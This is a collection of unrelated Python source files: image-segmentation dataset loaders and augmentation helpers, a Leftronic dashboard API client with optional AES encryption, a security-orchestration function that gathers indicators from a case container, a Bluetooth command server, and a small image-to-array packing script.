        return image, mask
    def __getitem__(self, idx):
        #print ('\tcalling Dataset:__getitem__ @ idx=%d'%idx)
        img_path = os.path.join(self.root_dir,(self.name_table.iloc[idx][0])[1:])
        label_path = os.path.join(self.root_dir,(self.name_table.iloc[idx][1])[1:])
        image = Image.open(img_path).convert('RGB')
        label = Image.open(label_path)

        image, label = self._transform(image,label,sizes=self.sizes)

        # image, depth(non-exist in this datset), label
        return image,"None",label

class pascal_voc_dataset_val():
    """SUN-RGBD image semantic labeling dataset."""

    def __init__(self,name_list_file,root_dir,transform=None,sizes=[(240,320),(240,320)]):
        """
        Args:
            mask_dir (string): Path to (img) annotations.
            img_dir (string): Path with all the training images.
            transform (callable, optional): Optional transform to be applied
                on a sample.
        """
        self.name_table = pd.read_csv(name_list_file,names=['rgb','gt'],delim_whitespace=True)
        self.root_dir = root_dir
        self.transform = transform

        self.size = sizes[1]

    def __len__(self):
        return len(self.name_table)

    def __getitem__(self, idx):
        image = Image.open(os.path.join(self.root_dir,self.name_table.iloc[idx][0][1:])).convert('RGB')
        label = Image.open(os.path.join(self.root_dir,self.name_table.iloc[idx][1][1:]))

        if self.transform:
            normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
                std=[0.229, 0.224, 0.225])

            image = self.transform(image).type('torch.FloatTensor')
            label = skimage.transform.resize(label, self.size, order=0,
                    mode='reflect', preserve_range=True)
            label = torch.from_numpy(label).type('torch.FloatTensor')
            image = normalize(image)

        return image, None, label, os.path.join(self.root_dir,self.name_table.iloc[idx].rgb[1:])

def show_imgs(image, labels):
    """Show image with landmarks"""
    plt.imshow(image)
    #plt.scatter(landmarks[:, 0], landmarks[:, 1], s=10, marker='.', c='r')
    plt.pause(2)  # pause a bit so that plots are updated

def random_transpose(image, label):
    methods = [PIL.Image.FLIP_LEFT_RIGHT,
                    PIL.Image.FLIP_TOP_BOTTOM,
                    PIL.Image.ROTATE_90,
                    PIL.Image.ROTATE_180,
                    PIL.Image.ROTATE_270,
                    PIL.Image.TRANSPOSE]
    r = random.randint(0,len(methods)-1)
    method = methods[r]
    if(random.randint(0,2) != 0):# 1/3 keep
        image = image.transpose(method) # transpose
        label = label.transpose(method) # transpose
    return image, label

def random_crop(PIL_img,label,ratio):
    """
    Args:
        PIL_img: image in PIL format.
        ratio: 0 < ratio <= 1.
    output:
        A PIL formt image with side length ratio*original side length.
    """
    (width, height) = PIL_img.size
    h_shift = np.random.randint(-height*(1-ratio)/2+1,height*(1-ratio)/2-1)
    w_shift = np.random.randint(-width*(1-ratio)/2+1,width*(1-ratio)/2-1)
    new_center = (int(height/2)+h_shift,int(width/2)+w_shift)
    cropped_area = (
                new_center[1] - ratio*width/2,
                new_center[0] - ratio*height/2,
                new_center[1] + ratio*width/2,
                new_center[0] + ratio*height/2
                )
    return PIL_img.crop(cropped_area), label.crop(cropped_area)

def random_rotate(PIL_img, label, _range):
    (width, height) = PIL_img.size
    angle = np.random.randint(-_range,_range)
    ratio = 0.7
    img = PIL_img.rotate(angle)
    label = label.rotate(angle)
    center = (int(height/2),int(width/2))
    cropped_area = (
                center[1] - ratio*width/2,
                center[0] - ratio*height/2,
                center[1] + ratio*width/2,
                center[0] + ratio*height/2
                )
    return img.crop(cropped_area), label.crop(cropped_area)

def to_np(x):
    return x.data.cpu().numpy()

def to_var(x):
    if torch.cuda.is_available():
        x = x.cuda()
    return Variable(x)

# Dice Loss - a loss for multi-class segmentation task
# https://github.com/pytorch/pytorch/issues/1249
def dice_loss(input, target):
    smooth = 1.

    iflat = input.view(-1)
    tflat = target.view(-1)
    intersection = (iflat * tflat).sum()

    return 1 - ((2. * intersection + smooth) /
              (iflat.sum() + tflat.sum() + smooth))

class sunrgbd_drawer():
    def __init__(self):
        self.n_classes = None
    def decode_segmap(self, label_mask, n_classes, plot=False):
        """Decode segmentation class labels into a color image
        Args:
            label_mask (np.ndarray): an (M,N) array of integer values denoting
              the class label at each spatial location.
            plot (bool, optional): whether to show the resulting color image
              in a figure.
        Returns:
            (np.ndarray, optional): the resulting decoded color image.
        """
        #label_colours = self.get_pascal_labels()
        label_colours = None
        if n_classes == 21:
            label_colours = self.get_21_colors()
        else:
            label_colours = get_spaced_colors(n_classes)
        r = label_mask.copy()
        g = label_mask.copy()
        b = label_mask.copy()
        #print (label_colours.shape)
        #print (label_colours[0,0])
        #sys.exit(0)
        for ll in range(n_classes):
            r[label_mask == ll] = label_colours[ll, 0]
            g[label_mask == ll] = label_colours[ll, 1]
            b[label_mask == ll] = label_colours[ll, 2]
        #print (r.shape) # (640,480)
        #print (r[1])
        rgb = np.zeros((label_mask.shape[0], label_mask.shape[1], 3))
        #print (rgb[:,:,0].shape,r.shape)
        #rgb[:, :, 0] = r / 255.0
        rgb[:, :, 0] = r
        #rgb[:, :, 1] = g / 255.0
        rgb[:, :, 1] = g
        #rgb[:, :, 2] = b / 255.0
        rgb[:, :, 2] = b
        if plot:
            plt.imshow(rgb)
            plt.show()
        else:
            return rgb

    def get_21_colors(self):
        """Load the mapping that associates pascal classes with label colors
            Returns:
                np.ndarray with dimensions (13, 3)
        """
        return np.asarray(
            [
                [0, 0, 0],
                [128, 0, 0],
                [0, 128, 0],
                [128, 128, 0],
                [0, 0, 128],
                [128, 0, 128],
                [0, 128, 128],
                [128, 128, 128],
                [64, 0, 0],
                [192, 0, 0],
                [64, 128, 0],
                [192, 128, 0],
                [64, 0, 128],
                [192, 0, 128],
                [64, 128, 128],
                [192, 128, 128],
                [0, 64, 0],
                [128, 64, 0],
                [0, 192, 0],
                [128, 192, 0],
                [0, 64, 128],
                # 21 above
                ]
            )
    def get_spaced_colors(n):
        max_value = 16581375 #255**3
        interval = int(max_value / n)
        colors = [hex(I)[2:].zfill(6) for I in range(0, max_value, interval)]

        return [[int(i[:2], 16), int(i[2:4], 16), int(i[4:], 16)] for i in colors]


import urllib2
import json
import logging

try:
    from Crypto.Cipher import AES
    from Crypto import Random
    import base64
except:
    print ('Could not import the PyCrypto library. Please `pip install '
           'pycrypto` if you wish to encrypt your outgoing data.')

logger = logging.getLogger(__name__)

class Leftronic(object):
    """
    Provides access to Leftronic Custom Data API
    """

    __version__ = '1.5.0'

    def __init__(self, auth_key):
        self.access_key = auth_key
        self.api_url = 'https://www.leftronic.com/customSend'
        self.crypto_key = None

    def setEncryptionKey(self, crypto_key):
        self.crypto_key = crypto_key

    def pushMultiple(self, points):
        """
        Pushes points to multiple streams.  Points is a list of dicts
        as returned by the `populate` methods provided below.

        e.g., pushMultiple([populateNumber("MyNumber", 42),
                            populateGeo("MyMap", 34, -118)])
        """
        if type(points) != list:
            raise TypeError('You must pass in a list')
        else:
            return self.postData({"streams": points})

    def pushNumber(self, stream_name, point):
        """
        Pushes a number (or list of numbers) to a Number, Horizontal/Vertical
        Bar, Dial widget, Stoplight or sparkline/line graph
        """
        return self.postData(self.populateNumber(stream_name, point))

    def populateNumber(self, stream_name, point):
        """
        Formats the provided number, list of numbers, or dict of
        numbers as a Python dict, e.g., to be pushed along with other
        streams.
        """
        if type(point) == float or type(point) == long or type(point) == int:
            point = {'number': point}
        elif type(point) == list:
            last = 0
            for i in point:
                if int(i['timestamp']) > last:
                    last = int(i['timestamp'])
                else:
                    # Timestamp values must increase
                    raise ValueError('Timestamp values must increase')
        elif type(point) == dict:
            pass
        else:
            raise TypeError('You must pass in a numeric value, a list, or a '
                            'dict')
        return {'streamName': stream_name, 'point': point}

    def pushGeo(self, stream_name, lat, lon, color=None):
        """
        Pushes a geographic location (latitude and longitude) to a Map
        widget.  Color can also be passed (red, green, blue, yellow,
        or purple).

        Default color is red.
        """
        return self.postData(self.populateGeo(stream_name, lat, lon, color))

    def populateGeo(self, stream_name, lat, lon, color=None):
        """
        Formats a geographic location (latitude and longitude) as a
        dict, e.g., to be supplied to 'pushMultiple()` Color can also
        be passed (red, green, blue, yellow, or purple).

        Default color is red.
        """
        if type(lat) != list and type(lon) != list and type(color) != list:
            point = {'latitude': lat, 'longitude': lon}
            if color:
                point['color'] = color

        elif type(lat) == list and type(lon) == list:
            if len(lat) != len(lon):
                raise ValueError('Your lists of latitudes and longitudes must '
                                 'be the same size.')
            point = []
            for i in range(len(lat)):
                obj = {'latitude': lat[i], 'longitude': lon[i]}
                if color and type(color) == list and color[i]:
                    obj['color'] = color[i]
                point.append(obj)
        else:
            raise TypeError('Your latitude, longitude, or color were not '
                            'properly formatted.')
        return {'streamName': stream_name, 'point': point}

    def pushText(self, stream_name, my_title, my_msg, img_url=None):
        """
        Pushes a title and message to a Text Feed widget.
        """
        return self.postData(self.populateText(stream_name, my_title,
                                               my_msg, img_url))

    def populateText(self, stream_name, my_ttle, my_msg, img_url=None):
        """
        Formats a title and message for a Text Feed widget as a dict,
        which can be passed to `pushMultiple()`
        """
        if (type(my_ttle) != list and
                type(my_msg) != list and
                type(img_url) != list):
            point = {'title': my_ttle, 'msg': my_msg}
            if img_url:
                point['imgUrl'] = img_url
        elif type(my_ttle) == list and type(my_msg) == list:
            if len(my_ttle) != len(my_msg):
                raise ValueError
            point = []
            for i in range(len(my_ttle)):
                obj = {'title': my_ttle[i], 'msg': my_msg[i]}
                if img_url and type(img_url) == list and img_url[i]:
                    obj['imgUrl'] = img_url[i]
                point.append(obj)
        else:
            raise TypeError

        return {'streamName': stream_name, 'point': point}

    def pushLeaderboard(self, stream_name, leader_array):
        """ Pushes an array to a Leaderboard widget. """
        return self.postData(self.populateLeaderboard(stream_name,
                                                      leader_array))

    def populateLeaderboard(self, stream_name, leader_array):
        """
        Formats a leaderboard array as a dict for, e.g., passing to
        `pushMultiple()`
        """
        return {'streamName': stream_name,
                'point': {
                    'leaderboard': leader_array
                }}

    def pushList(self, stream_name, list_array):
        """ Pushes an array to a List widget. """
        return self.postData(self.populateList(stream_name, list_array))

    def populateList(self, stream_name, list_array):
        """
        Formats a list as a dict to be pushed using, e.g., `pushMultiple()`.
        """
        if type(list_array) != list:
            raise TypeError
        for i in range(len(list_array)):
            if type(list_array[i]) != dict:
                list_array[i] = {'listItem': list_array[i]}

        return {'streamName': stream_name,
                'point': {
                    'list': list_array
                }}

    def pushPair(self, stream_name, x, y):
        """ Pushes an x,y pair to a Pair widget"""
        return self.postData(self.populatePair(stream_name, x, y))

    def populatePair(self, stream_name, x, y):
        """
        Formats an x, y pair (or lists of x, y pairs) as
        """
        if type(x) == list and type(y) == list:
            point = []
            if len(x) != len(y):
                raise ValueError
            for i in range(len(x)):
                point.append({'x': x[i], 'y': y[i]})
        else:
            point = {'x': x, 'y': y}
        return {'streamName': stream_name,
                'point': point}

    def pushImage(self, stream_name, img_url):
        """ Pushes an image to an Image widget"""
        return self.postData(self.populateImage(stream_name, img_url))

    def populateImage(self, stream_name, img_url):
        """
        Formats a provided image url as a dict to be pushed using, e.g.,
        `pushMultiple()`
        """
        point = {'imgUrl': img_url}
        return {'streamName': stream_name,
                'point': point}

    def pushLabel(self, stream_name, label):
        """ Pushes a label to a Label widget"""
        return self.postData(self.populateLabel(stream_name, label))

    def populateLabel(self, stream_name, label):
        """
        Formats a label as a dict
        """
        point = {'label': label}
        return {'streamName': stream_name,
                'point': point}

    def pushTable(self, stream_name, header_row, data_rows):
        """ Pushes a table to a Table widget """
        return self.postData(self.populateTable(stream_name,
                                                header_row,
                                                data_rows))

    def populateTable(self, stream_name, header_row, data_rows):
        data_rows.insert(0, header_row)
        point = {'table': data_rows}
        return {'streamName': stream_name,
                'point': point}

    def pushHtml(self, stream_name, html_string):
        """
        Pushes HTML to an HTML widget.
        """
        return self.postData(self.populateHtml(stream_name, html_string))

    def populateHtml(self, stream_name, html):
        return {'streamName': stream_name,
                'point': {'html': html}}

    def clear(self, stream_name):
        parameters = {'streamName': stream_name,
                      'command': 'clear'}
        return self.postData(parameters)

    def postData(self, parameters):
        """ Makes an HTTP POST to the API URL. """
        # add the access key
        parameters['accessKey'] = self.access_key

        if self.crypto_key:
            self.encryptStreams(parameters)

        # Convert to JSON
        json_data = json.dumps(parameters)

        logger.debug(json_data)
        # Make request
        response = urllib2.urlopen(self.api_url, json_data)
        return response.read()

    def encryptText(self, text):
        # set up AES encryption
        iv = Random.get_random_bytes(16)
        key = self.crypto_key
        # pad key with spaces if its length is not a multiple of 16
        # note that for extra security the user should not choose a short key
        if len(key) % 16 != 0:
            key += ' ' * (16 - len(key) % 16)
        aes = AES.new(key, AES.MODE_CFB, iv, segment_size=128)

        # also pad text with spaces if length is not a multiple of 16
        if len(text) % 16 != 0:
            text += ' ' * (16 - len(text) % 16)

        enc = aes.encrypt(text)

        # concatenate encrypted text with random iv
        return base64.b64encode(enc) + ':' + base64.b64encode(iv)

    def encryptStreams(self, parameters):
        if 'streams' in parameters:
            for stream in parameters['streams']:
                # encrypt the 'point'
                if type(stream['point']) == list:
                    raise TypeError('If using encryption, your stream "points"'
                                    ' must not be arrays, but single values.')

                stream['epoint'] = self.encryptText(json.dumps(
                                                    stream['point']))

                del stream['point']

        else:
            if type(parameters['point']) == list:
                raise TypeError('If using encryption, your stream "points" '
                                'must not be arrays, but single values.')

            parameters['epoint'] = self.encryptText(json.dumps(
                                                    parameters['point']))
            del parameters['point']


def indicator_collect(container=None, **kwargs):
    """
    Collect all indicators in a container and separate them by data type. Additional output data paths are created for each data type. Artifact scope is ignored.

    Args:
        container (CEF type: phantom container id): The current container

    Returns a JSON-serializable object that implements the configured data paths:
        all_indicators.*.cef_key
        all_indicators.*.cef_value
        all_indicators.*.data_types
        all_indicators.*.artifact_id
        domain.*.cef_key
        domain.*.cef_value (CEF type: domain)
        domain.*.artifact_id
        file_name.*.cef_key (CEF type: file name)
        file_name.*.cef_value (CEF type: file name)
        file_name.*.artifact_id
    """
    ############################ Custom Code Goes Below This Line #################################
    import json
    import phantom.rules as phantom

    outputs = {'all_indicators': []}
    data_types = [
        "domain",
        "file name",
        "file path",
        "hash",
        "host name",
        "ip",
        "mac address",
        "md5",
        "port",
        "process name",
        "sha1",
        "sha256",
        "sha512",
        "url",
        "user name",
        "vault id"
    ]

    for data_type in data_types:
        data_type_escaped = data_type.replace(' ', '_')
        outputs[data_type_escaped] = []

    # validate container and get ID
    if isinstance(container, dict) and container['id']:
        container_dict = container
        container_id = container['id']
    elif isinstance(container, int):
        rest_container = phantom.requests.get(uri=phantom.build_phantom_rest_url('container', container), verify=False).json()
        if 'id' not in rest_container:
            raise ValueError('Failed to find container with id {container}')
        container_dict = rest_container
        container_id = container
    else:
        raise TypeError("The input 'container' is neither a container dictionary nor an int, so it cannot be used")

    # fetch all artifacts in the container
    artifacts = phantom.requests.get(uri=phantom.build_phantom_rest_url('container', container_id, 'artifacts'), params={'page_size': 0}, verify=False).json()['data']

    for artifact in artifacts:
        artifact_id = artifact['id']
        for cef_key in artifact['cef']:
            cef_value = artifact['cef'][cef_key]
            params = {'indicator_value': cef_value, "_special_contains": True, 'page_size': 1}
            indicator_json = phantom.requests.get(uri=phantom.build_phantom_rest_url('indicator_by_value'), params=params, verify=False).json()
            data_types = []
            if indicator_json.get('id'):
                data_types = indicator_json['_special_contains']
                # drop none
                data_types = [item for item in data_types if item]

            # store the value in all_indicators and a list of values for each data type
            outputs['all_indicators'].append({'cef_key': cef_key, 'cef_value': cef_value, 'artifact_id': artifact_id, 'data_types': data_types})
            for data_type in data_types:
                # outputs will have underscores instead of spaces
                data_type_escaped = data_type.replace(' ', '_')
                if data_type_escaped not in outputs:
                    outputs[data_type_escaped] = []
                outputs[data_type_escaped].append({'cef_key': cef_key, 'cef_value': cef_value, 'artifact_id': artifact_id})

    # Return a JSON-serializable object
    assert json.dumps(outputs)  # Will raise an exception if the :outputs: object is not JSON-serializable
    return outputs


#!/usr/bin/env python3

import select
import queue

from bluetooth import (
    BluetoothSocket,
    PORT_ANY,
    BluetoothError
)

from commands import commands

def build_help(command, meta):
    if "arguments" in meta:
        args = " " + " ".join(["<<{}>>".format(a) for a in meta["arguments"]])
    else:
        args = ""
    description = meta["description"]

    return "  + {}{}: {}".format(command, args, description)

def help_message():
    return "\n".join(["Commands:"] + [build_help(k, v) for k, v in commands.items()])

def handle_input(input_):
    input_ = input_.strip()
    if not input_:
        # input is blank
        return help_message()

    command = input_.split()[0]
    meta = commands.get(command, None)
    if meta is None:
        return help_message()
    else:
        return meta["handler"](input_)

def send(connection, string):
    connection.send((string + "\n").encode())

def main():
    server = BluetoothSocket()
    server.bind(("", PORT_ANY))
    server.listen(1)

    inputs = [server]
    outputs = []
    message_queues = {}

    port = server.getsockname()[1]

    print("Waiting for connection on RFCOMM channel {}".format(port))

    while inputs:
        readable, writable, exceptional = select.select(
            inputs, outputs, inputs)

        for s in readable:
            if s is server:
                connection, client_address = s.accept()
                print("Accepted connection from {}".format(client_address))
                connection.setblocking(0)
                inputs.append(connection)
                message_queues[connection] = queue.Queue()
                send(connection, "Welcome!")
                send(connection, help_message())
            else:
                data = None
                try:
                    data = s.recv(1024).decode().rstrip()
                except BluetoothError as e:
                    # pybluez is implemented in an unpythonic way, hence this hackiness
                    # 104: Connection reset by peer
                    if not str(e).startswith("(104"):
                        raise e

                    print("Client disconnected")

                if data:
                    message_queues[s].put(handle_input(data))
                    if s not in outputs:
                        outputs.append(s)
                else:
                    if s in outputs:
                        outputs.remove(s)
                    if s in inputs:
                        inputs.remove(s)
                    s.close()
                    del message_queues[s]

        for s in writable:
            try:
                next_msg = message_queues[s].get_nowait()
            except queue.Empty:
                outputs.remove(s)
            else:
                send(s, next_msg)

        for s in exceptional:
            inputs.remove(s)
            if s in outputs:
                outputs.remove(s)
            s.close()
            del message_queues[s]

if __name__ == "__main__":
    main()


# -*- coding: utf-8 -*-
# @Time : 2019/7/1 下午2:37
# @Author : Quzard
import sys
from scipy import misc
import numpy as np

def main():
    l = len(sys.argv)
    if l < 2:  # 检查参数是否足够
        print('参数不够')
        return False
    src = sys.argv[1]
    dst = sys.argv[2] if l > 2 else 'data.pkl'
    with open(src, 'r') as f:  # 读取图片
        list = f.readlines()
    data = []
    labels = []
    for i in list:
        name, label = i.strip('\n').split(' ')  # 将图片列表中的每一行拆分成图片名称和图片标签
        img = misc.imread(name)  # 读取图片并存入一个矩阵中
        img = img / 255  # 转化成0,1矩阵
        img.resize((img.size,1))
        data.append(img)
        labels.append(int(label))
    np.save(dst, [data, labels])  # 将训练数据以npy的形式保存到本地文件
    print("success")

if __name__ == "__main__":
    main()